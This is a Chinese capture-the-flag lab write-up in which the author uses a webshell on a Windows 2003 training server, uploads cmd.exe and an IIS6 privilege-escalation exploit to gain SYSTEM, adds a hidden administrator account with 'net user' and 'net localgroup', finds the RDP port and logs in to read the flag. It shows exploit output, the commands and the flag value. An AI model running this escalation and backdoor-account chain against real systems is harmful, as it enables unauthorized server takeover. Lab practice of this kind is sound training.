获取目标服务器c盘下flag文件信息,公开课基础演练靶场 第六章 webshell控制目标详细解题思路...



在上一章中,我已经通过上传一句话马,用菜刀连接了上传的这个文件,从而得到了后台的部分权限。但是我 试过,现在拥有的权限,还不能打开c盘中的文件。而C盘中的文件往往都是比较重要的,因此,我需要提升自 己的权限,如下图。

第六章: SYSTEM! POWER! 【配套课时: webshell控制目标 实战演练】 (Rank: 15)
Tips: <u> 提权!</u> 2、FLAG在C盘根目录下! 从第六章的提示可以看出,这次的目标是提权。 上一章中已经通过菜刀和一句话马侵入了这个网站的服务端 但是权限不高
尤里嘿嘿笑了起来,简单的Win2003,只要拿到SYSTEM权限,他就可以向女神小芳炫技去了。。 <u>传送门</u>
Flag: Flag 提交Flag

进入传送门后,发现这一章的网站仍然是之前看到过的那个。而这个网站的管理员cookie已经被我拿到,并且已 经成功上传一句话马至服务器了,如下图。

① 不安全 120.203	3.13.75:8002						
CSDN博客 🔾 博客	記 J 鸠摩搜书	sf SegmentFault	思否 Ү 黑客新闻	🔮 腾讯课堂	🛛 Track 安全社区	🕑 封神台 🕻	🕽 漏洞盒子 🥊
<u>2010-000-000000000000000000000000000000</u>	福建博均) FUJIAN BOJUN D	離塑脱胎漆 IAOSHU TUOTAIQIQU	器有限公司 LIMITED COMPAN	, SSS	3)		
Martine .		网站首页 关于	我们 产品中心	新闻中心	客户案例	在线留言	联系我们
进入在上通过	、传送门,看到 三一章中已经获 士上传一句话马,	了和上一章一样的 风管理员cookie并 用菜刀窥探了这	网站。 进入了这个网站的 个网站服务端的约	的管理员页面 纳。			

因此我直接来到了菜刀,进入了文件管理器视图,并试图点开C盘,如下图。



进入c盘之后,一眼就扫到了flag.txt。这么简单吗?点开试试,如下图。

🔲 🛄 120. 203. 13. 75 🛛 +					
🚞 C: \			+	✓ 读取	星期五 2018-09-07 七月廿八
120.203.13.75 目录(10),文件(14)	名称	时间	大小	属性	▲ □ □ 站点类别
	🚞 Documents and Settings	2018-09-06 16:40:19	0	16	□ 默认类别 Type1
Documents and Settings Inetpub	🚞 Inetpub	2018-04-09 11:07:26	0	16	② 日程提醒
🚞 mimikatz_trunk	🧰 mimikatz_trunk	2018-09-06 17:40:25	0	16	🔄 快捷方式
🚞 Program Files	🧰 Program Files	2018-04-03 18:35:07	0	17	
E Python27	🚞 Python27	2018-04-04 01:35:45	0	16	
🧰 Historian 🚞 System Volume Information	🚞 RECYCLER	2018-09-06 16:58:12	0	22	
i web	🚞 System Volume Information	2018-04-03 07:06:53	0	22	
WINDOWS	🚞 web	2018-04-03 18:29:11	0	16	
wmpuo w D:	🚞 WINDOWS	2018-04-09 11:08:57	0	16	
E:	🚞 wmpub	2018-04-03 07:02:51	0	16	
	AMTAG. BIN	2018-04-03 17:38:43	1024	2	
🗁 UploadFiles	AUTOEXEC. BAT	2018-04-03 07:02:36	0	32	
	📓 boot. ini	2018-04-03 06:59:30	210	6	
进入C盆后, 意外反现我们的目标	🖞 📄 bootfont. bin	2012-05-01 00:00:00	322730	39	
Hag.LXL义件就住具中。	CONFIG. SYS	2018-04-03 07:02:36	0	32	
找直接双面打开它	Documents	2018-09-06 16:57:10	0	32	
	💙 롤 flag. txt	2018-04-02 19:25:37	23	32	
	ID. SYS	2018-04-03 07:02:36	0	39	
	🗋 lsass. dmp	2018-09-06 17:06:54	29706066	32	
	MSDOS. SYS	2018-04-03 07:02:36	0	39	
					- GP2212

但是并没有权限访问这个文件,这就很尴尬了。所以目标已经非常明确了--提升我的权限,让我能够访问C盘中的文件。那么怎么提升我的权限呢--命令行工具! cmd命令行自带了很多的系统指令,其中包括添加用户/添加用户组等等,这不正好合适吗?我添加一个自己的用户身份,然后把这个用户添加到管理员组,再用这个用户去登陆服务器,不就有权限去打开flag.txt文件了,如下图。

双击之后,发现我并没有权限去访问	● 操作提示	① ×
因此,现往的目初就很明确了,————————————————————————————————————	▶ 没有权限	
才能查看c盘中的这个文件。		
而众所周知,命令行就是一个很好的提权工	湨,	
因为它自市了很多杀死函数。 我们可以通过添加管理员用户来获取该系统	的最高权限	

说干就干。我来到了菜刀初始页面,右键并打开了虚拟终端,进入了命令行,如下图。



进入命令行之后,我直接输入了whoami指令,查看我当前的身份。但是却发现拒绝访问。这是为啥呢?因为命 令提示符是在C盘的,但是C盘里的东西我不能访问。这可咋整!



于是我又想起了老师提供的那个cmd.exe文件。我直接把这个文件传到服务器中我能访问的盘符不就可以用cmd 了吗,如下图。

🖾 cmd.exe	2014/3/5 10:00	应用程序	99 KB
📧 iis6.exe	2011/3/11 1:53	应用程序	41 KB
	因此,我准备了一个cm	d组件进行上传,	来获取更多的权限

经过测试,我发现E盘是可以上传文件的。因此我选择在E盘的RECYCLER文件夹下进行上传,如下图。

🔲 📋 🗀 120. 203. 13. 75	+					
E:\RECYCLER\				± ~	/ 读取	星期五 2018-09-07 七月廿八
120.203.13.75 目录(1),文	件(0)	名称	时间	大小	属性	🗆 🖂 站点类别
120.203.13.75 目录(1),文 ○ C: ○ D: ○ B: ○ 05 ○ C: ○ 05 ○ FRECVOLER ○ S-1-5-21-3109291948-11 ○ System Volume Information 由于e盘下有该网站的根文 因此我尝试在e盘下进行」	件(0) 579544356-27 m 文件 来 , 过传文件	名称	时间 356-2763492018-05-21 17:35:28 更新缓存 清空此网站缓存 下载文件到服务器 上传文件 新建	大小 0 石键之后	属性 22), 选择上(□ 站点类别 □ 默认类别 □ Type1 > 日程提醒 > 快捷方式
4) ,					GP2212

选择cmd.exe进行上传,如下图。

l

查找范围(I):		🖬 🏪 🖻 🔶 🔽	•
名称	^	修改日期	类型
🔍 cmd.exe		2014/3/5 10:00	应用程度
🔳 iis6.exe		2011/3/11 1:53	应用程度
选择	cmd.exe	点击打开 \	
<	\mathbf{X}		>
文件名(N):	cmd.exe		Ŧ(O)
文件类型(T):		Ţ.	消

可以看到, 文件正在上传, 如下图。



上传成功后,直接在这个文件上右键并打开虚拟终端,如下图。

名称		时间		大小	属性
🚞 S-1-5-21-3109291948-15	79544356-276349	2018-05-21	17:35:28	0	22
cmd. exe	面新經在	2018-09-07	09:20:55	100864	32
	至30.2017 清空此网站缓存				
	下载文件到服务器 上传文件 下载文件				
	编辑 删除 复制 重命名 修改文件(夹)时间				
	新建 Access管理	-	文件」 石键送	_传完成之 时子虚拟终	后, 端打开
_	虚拟终端				

我再次输入whoami命令。这次果然有权限了,但是从返回结果看,我目前只是一个普通用户,如下图。



然后我按照刚才的思路进行添加用户--pigking。但是又拒绝访问。

[*] 基本信息 [C:D:E:]	
E:\05\UploadFiles\> whoami nt authority\network service	
E:\05\VploadFiles\> net user pigking 123 /add 发生系统错误 5。	
拒绝访问。	此时输入添加用户pigking,密码123指令
E:\05\UploadFiles\>	

这又是为啥?这是因为使用cmd需要用到外部接口wscript.shell。但是wscript.shell仍然在C盘,C盘我们仍然无法访问。这可怎么办?那么就只能再上传一个已经组装好的wscript.shell,也就是下图的iis6.exe。

名称 國 cmd.exe	^	~	修改日期 2014/3/5 10:00	D	类型 应用程序		
∎iis6.exe			2011/3/11 1:53	3	应用程序		
由于cmd需要外部接口wscript.shell, 而系统本身的wscript.shell在c盘, c盘正好无法访问。 因此此时又需要上传这个is6.exe文件 也就是组装好的cmd的外部接口							
文件名(N):	iis6.exe			打开	(O)		
文件类型(T):			-	取	消		

上传完成之后,如下图,我继续回到命令行界面。

	🚞 S-1-5-21-31	09291948-1579544356-276349	2018-05-21	17:35:28	0	22
	📧 cmd. exe		2018-09-07	09:20:55	100864	32
	📑 iis6.exe		2018-09-07	10:02:52	41472	32
76	此万	t,上传完成! [俱备只欠东风! 到cmd!				

此时,我用cd命令切换到刚才上传文件的目录--E:\RECYCLER,如下图。

[*] 基本信息 [C:D:E:]			
E:\O5\UploadFiles\> whoami nt authority\network service			
E:\05\UploadFiles\> net user pigking 123 /add			
发生系统错误 5。			
拒绝访问。			
E:\05\UploadFiles\>_od/			
E:\05\> od/	此时,	切换到刚才上传文件的那个目录	
E: \> cd RECYCLER			
E:\RECYCLER\>			

然后我通过iis6.exe执行了whoami命令--iis6.exe "whoami"。然后,程序返回了很多信息,其中--this exploit gives you a local system shell,我从这句话中看出它已经给了我system的命令行权限,如下图。

2:\O5\UploadFiles\> cd/
a:\05\> ad/ 我通过is6.exe再次执行了whoami
C:\> od RECYCLER
(:\RECYCLER iis6.exe "whoami" [IIS6Up]—>IIS Token PipeAdmin golds7n Version [IIS6Up]—>This exploit gives you a Local System shell [IIS6Up]—>Set registry UM process walking]: 320 w3wp.exe process walking]: 1436 cmd.exe [IIS6Up]—>Got WMI process Pid: 2756 [IIS6Up]—>Got WMI process Pid: 2756 [IY 1 time] [Try 1 time] [Try 4 time]
X:\RECYCLER\>

因此,我再执行同样的指令,以确定我现在的身份。现在我看到cmd正在以system权限执行这条指令,而我现 在的权限已经变成了system,如下图。

E:\05\> od/
E: \> od RECYCLER
E:\RBCYCLER\> iis6.exe "whoami" [IIS6Up]—>IIS Token PipeAdmin golds7n Version [IIS6Up]—>This exploit gives you a Local System shell [IIS6Up]—>Set registry OK [process walking]: 220 w3wp.exe [process walking]: 2756 wmipryse.exe [IIS6Up]—>Got WMI process Pid: 2756 [Try 1 time] [Try 2 time] [Try 4 time]
E:\RECVCLER\> iis6.exe "whoami" [IIS6Up] ->IIS Token FipeAdmin golds7n Version [IIS6Up] ->This exploit gives you a Local System shell [IIS6Up] ->Set registry OK [process walking]: 320 w3wp.exe [process walking]: 2716 iis6.exe [process walking]: 2716 wiipryse.exe [IIS6Up] ->Got WMI process Pid: 2756 [Try 1 time]
IISSUp] - Found token SYSTEM [*]Running command with SYSTEM Token [*]Command: whomi [+]Done, command should have ran as SYSTEM! nt authority\system
E:\RECYCLER\> 返回了我的身份system!

于是,我再次尝试通过--iis6.exe "net user pig 123 /add"添加pig用户,此时,这条命令就成功了,如下图。



然后我用net user pig指令查看了pig用户的信息,发现它现在只是普通用户,所以我应该把它变成管理员用户才行,如下图。



于是,我用iis6.exe "net localgroup Administrators pig /add"指令向管理员用户组成功添加了pig用户,如下图。



再次查看pig用户,发现它已经再管理员用户组中了,如下图。

E:\RECYCLER\> iis6.exe [IIS6Up]—>IIS Token F [IIS6Up]—>This exploi [IIS6Up]—>Set registr [process walking]: 320 [process walking]: 275 [IIS6Up]—>Got WMI pro [Try 1 time] [IIS6Up]—>Found token [*]Running command wit [*]Command: net user p [+]Done, command shoul 用户名 筆者	net user pig ipeAdmin golds'n Version t gives you a Local System y OK w3wp.exe 6 wmiprvse.exe cess Pid: 2756 .SYSTEM h SYSTEM Token ig d have ran as SYSTEM! pig	shell	再次查看pig用户	
用户的注释 国家(地区)代码 帐户启用 帐户到期	000(系统默认值) Yes 从不			
上次设置密码 密码到期 密码可更改 需要密码 用户可以更改密码	2018-9-7 10:20 2018-10-20 9:07 2018-9-7 10:20 Yes Yes			
允许的工作站 资料脚本 用户配置文件 主人资录	11A 从不	发现正	已经是管理员组中的用户了	
可允许的登录小时数				
<mark>本地组成员</mark> 全局组成员 命令成功完成。	*Administrators *Vs: *None	2Y 5		

既然我已经拥有了管理员用户,那么我就需要利用这个用户去搞事情。于是我想到了用远程桌面服务去连接这个网站的服务器,并用pig用户登陆。于是我打开远程桌面,并输入该网站的ip+port,但是却显示无法连接。远程桌面作为一个程序,那么它一定占用了一个端口号。而ip+端口号表示的是域名,而这个端口号其实就是服务软件的端口号,ip表示的是这台服务器电脑,因此如果想和服务器上的远程桌面服务进行对接,那么肯定要把端口号换成它占用的的端口号。因此我们需要去获取端口号,如下图。

😼 远程桌面连	ž.			\times
تر بنا الح	程桌面 E接			
<u>Mar</u>	用该网站的Ip+port去注意该网站的	服务器	}	
计算机(C):	120.203.13.75:8002	~		
远程桌面连接				\times
(日本) 由于 清重	午客户端检测到一个协议错误(代码 0x1104), ; 新连接到远程计算机。	这个会话	将被中断	
但是发现	主要不上。 「不会错,错的只能是端口号」 ^{确示}	Ē	帮助(H)

于是我再次来当命令行,用tasklist-svc命令查看了这台服务器开启的服务,发现远程桌面服务termservice的pid 是1588,如下图。

E:\RECYCLER\> tasklist =svc	ł	
映像名称	PID	服务
System Idle Process	0	
System	4	習気
smss.exe	280	算成 二十二十二十二十二十二十二十二十二十二十二十二十二十二十二十二十二十二十二十
csrss.exe	328	<u>習研。</u>
winlogon.exe	352	
services.exe	400	Eventlog, PlugPlay
lsass.exe	412	HTTPFilter, PolicyAgent, ProtectedStorage, SamSs
suchost eve	600	Long sunch
suchost eve	656	Bross
sychost exe	720	Jhon. Inscache
sychost exe	760	Indosts, W32Time
suchast eve	776	AllostunSuc Browser CrimtSuc deserver
STOROSE. EXE	110	Reports planeter, langerer
		Jorner Martine Mathematica Martine Mar
		ranian or Station, Netwal, Mia, Schedie,
		wing the unique result of the state of the s
speelsw eve	979	Spaalar
spoors» exe	9912	Sporter 发现进程点面服务的PID具1588
msulo.exe	1109	NDSTC / 文地型生素面積分間10定1300
inctinfo evo	1169	
	1000	
svenost.exe	1470	Neloceke §1511 y
sychost.exe	1500	
SVCHOST, exe	1000	Termory toe
wmiprvse.exe	1032	
Logon. scr	228	<u> 算</u> 城

然后我又使用netstat -ano查看了端口和连接状态,结果显示pid=1588所对应的端口号是3389,状态是正在监 听,也就是说远程桌面服务的端口号是3389,并且它正处于监听状态,而就是说它是开着的,只要这个端口收 到信息,它就能知道。但是下面还有一个1588,状态是正在通信,且外部地址不是0.0.0.0:0,估计是某个正在做 这个靶场的同学,如下图。

E:\REC	YCLER\> netstat -ano	← 此时用该指	令查看端口和	和连接状态	2
Active	Connections				
Prot TCP TCP TCP TCP TCP	:0 Local Address 0.0.0.0:81 0.0.0.0:135 0.0.0.0:445 0.0.0.0:1025 0.0.0.0:1026	Foreign Address 0.0.0.0:0 0.0.0.0:0 0.0.0.0:0 0.0.0.0:0 0.0.0.0:0	State LISTENING LISTENING LISTENING LISTENING	PID 4 656 4 412	发现pid对应的端口号是3389, 并且状态时监听状态
TCP	0.0.0:0:3389 🦛	0.0.0:0	LISTENING 🛹	1588	
TCP TCP TCP	0.0.0.0:8881 10.10.1.79:81 10.10.1.79:139	0.0.0.0:0 10.10.1.1:50082 0.0.0.0:0	LISTENING ESTABLISHED LISTENING	4 4 4	
TCP	10.10.1.79:3389		ESTABLISHED .	1588	发现下面还有——个1588
TCP TCP TCP	10, 10, 1, 79:8881 10, 10, 1, 79:8881 10, 10, 1, 79:8881	10, 10, 1, 1;50096 112, 20, 12, 198;2516 124, 160, 212, 8;17832	ESTABLISHED TIME_WAIT TIME_WAIT	4 0 0	────────────────────────────────────
TCP TCP TCP	10.10.1.79:8881 10.10.1.79:8881 10.10.1.79:8881	124, 160, 212, 8:17836 218, 88, 20, 154:49176 218, 88, 20, 154:49178	ESTABLISHED TIME_WAIT TIME_WAIT	4 0 0	止任做帮场的问子

我回到远程桌面,将端口号改为了3389,如下图。

远程桌面 连接 <u>此时,将端口号谈为8339</u>
计算机(C): 120.203.13.75 <mark>:3389</mark> ~
用户名: 未指定
当你连接时将向你询问凭据。
★ 建接(N) 帮助(H)

哥们忙着做大事,直接忽略这个警告,如下图。

无法验证此远程计算机的身份。是否仍要连接?
如果远程计算机运行的是早于 Windows Vista 版本的 Windows,或者如果未将 远程计算机配置为支持服务器身份验证,则可能会发生此问题。
请联系你的网络管理员或远程计算机的所有者以获取帮助。
□ 不再询问我是否连接到此计算机(D)

此时,开始了连接,真是令人兴奋,如下图。

-	正在连接到: 120.203.13.75:3389					
			取消			
	正在配置远程会话…					

连接成功! 输入之前创建的用户名--pig, 密码--123, 如下图。

连接成功后。输入之前创建的用户名/密码
登录到 Windows Windows Server 2003 R2 Enterprise Edition
123 用户名 (U): pig 密码 (2): ***
点击确定 通 确定 取消 关机 ③ … 选项 ④ ≪

此时,终于真正侵入了这台服务器,点开我的电脑,如下图。



再点开C盘,答案近在眼前,如下图。

🦻 🎾) 捜索 🌔	▶ 文件夹 🎹 -				
脑						💌 芛 转到
		名称	│ 类型	总大小	可用空间 备注	
	*	硬盘				
Ŧ		◆本地磁盘 (C:)	本地磁盘	15.7 GB	11.7 GB	
:序 _		☞本地磁盘(E:)	本地磁盘	4.21 GB	4.16 GB	
呈		有可移动存储的设	备 3# 3	- m		
					~ ~ #	
	*	Mindows Serve	じり うどろり 苦	824 MB	ሀታኮ	

yes! 就是它--flag.txt, 如下图。

 ♥ C:\ 						•	🔁 转到
		名称 🔺	大小	类型	修改日期		属性
任务	*	🛅 Documents and Settings		文件夹	2018-9-7 9:57		
		🛅 Inetpub		文件夹	2018-4-9 11:07		
总藏此驰动器的内容		🛅 mimikatz_trunk		文件夹	2018-9-7 10:02		
忝加/删除程序		🛅 Procdump		文件夹	2018-9-7 10:00		
搜索文件或文件夹		🛅 Program Files		文件夹	2018-4-3 18:35		R
		C Python27		文件夹	2018-4-4 1:35		
		🛅 Quarks-PwDump_v0. 2b 目标出	现! 点击进入	。 文件夹	2018-9-7 10:36		
和文件夹任务	*	🚞 web 🦯		文件夹	2018-4-3 18:29		
御建一个新立任本		C WINDOWS		文件夹	2018-4-9 11:08		
加建 计初文件关		🛅 wmpub		文件夹	2018-4-3 7:02		
将这个又许夹友布到 Yeb		📷 AMTAG. BIN 🖊	1 KB	BIN 文件	2018-4-3 17:38		н
共享此文件夹		🗐 flag. txt	1 KB	文本文档	2018-4-2 19:25		Å
		🛅 lsass. dmp	29,163 KB	DMP 文件	2018-9-7 10:00		Å
		👔 mimikatz_trunk. zip	826 KB	压缩(zipped)文件夹	2018-9-7 9:57		Å
位置	*	👔 Procdump. zip	440 KB	压缩(zipped)文件夹	2018-9-7 9:57		A

打开之后,熟悉的key出现了--zkz{F3ck_power_3y3stem}。



最后,请必须打开任务管理器,以注销的方式离开,如下图。

📕 Tindows 任务管理器	1
文件の 选项の 宣者	
应用程序 进程 性能	能 联网 用户 2
Ê.	
S pig	1 活动的 DESKTOP-OAN
注意,当退	退出远程桌面时,
请 后 动 住 关	5管埋器进行注销,
谷畑下一の	
以服本亚小	经实际服务担心取入注接值
•	
L	
B/13	
	田、0% 内方体田、2510 / 20420
UINESX: 04 UNU 192,	/H: U% [P14+192/H]: 351M / 3942M

打赏我,让我更有动力~赏